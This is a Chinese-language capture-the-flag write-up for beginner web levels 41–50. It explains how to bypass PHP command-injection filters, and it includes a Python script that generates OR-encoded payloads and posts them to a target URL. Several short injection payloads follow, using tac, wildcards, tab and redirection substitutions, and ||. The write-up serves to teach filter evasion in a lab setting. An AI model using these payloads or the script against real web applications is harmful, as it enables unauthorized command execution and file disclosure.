web入门41-50
web41
分析代码

发现过滤了数字字母和一些符号,发现或(|)符号没有禁用,使用或运算表示各种符号,写一个脚本
点击查看代码
import re
import urllib
from urllib import parse
import requests
contents = []
for i in range(256):
for j in range(256):
hex_i = '{:02x}'.format(i)
hex_j = '{:02x}'.format(j)
preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-',re.I)
if preg.search(chr(int(hex_i,16))) or preg.search(chr(int(hex_j,16))):
continue
else:
a = '%' + hex_i
b = '%' + hex_j
c = chr(int(a[1:],16) | int(b[1:],16))
if 32 <= ord(c) <= 126:
contents.append([c,a,b])
def make_payload(cmd):
payload1 = ''
payload2 = ''
for i in cmd:
for j in contents:
if i == j[0]:
payload1 += j[1]
payload2 += j[2]
break
payload = '("' + payload1 + '"|"' + payload2 + '")'
return payload
URL = input('请输入URL: ')
payload =make_payload('system') + make_payload('cat flag.php')
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)})
print(response.text)
直接输入URL即可获得flag,https要改成http

web42
分析代码

不管输入什么命令都不会有回显,可以用分号绕过
?c=cat flag.php;

web43
分析代码

发现过滤了分号(😉,使用||代替,tac代替cat
?c=tac flag.php||ls

web44
分析代码

比上一关多禁用了一个flag,使用*代替
?c=tac fla*||ls

web45
分析代码

多过滤了一个空格,使用%09(Tab键)代替
?c=tac%09fla*||ls

web46
分析代码

多了对数字和$、*号的过滤,用?代替*号,%09没有被过滤是因为在传送过程中被url解码变成了\t(制表符Tab),所以不会被过滤
?c=tac%09fla?.php||ls

web47
分析代码

只比上一关多过滤了几个查看文件的方法但没有禁用tac,继续用上一关的payload

web48
分析代码

还是没有禁用tac,继续用上一关的payload

web49
分析代码

发现禁用了%号,但不会影响,继续使用上一关的payload,因为%09会被解码所以同理也检测不出来%号

web50
分析代码

禁用了%09,使用<代替,不知道为什么?不能使用,用\来代替
?c=tac<fl\ag.php||ls


浙公网安备 33010602011771号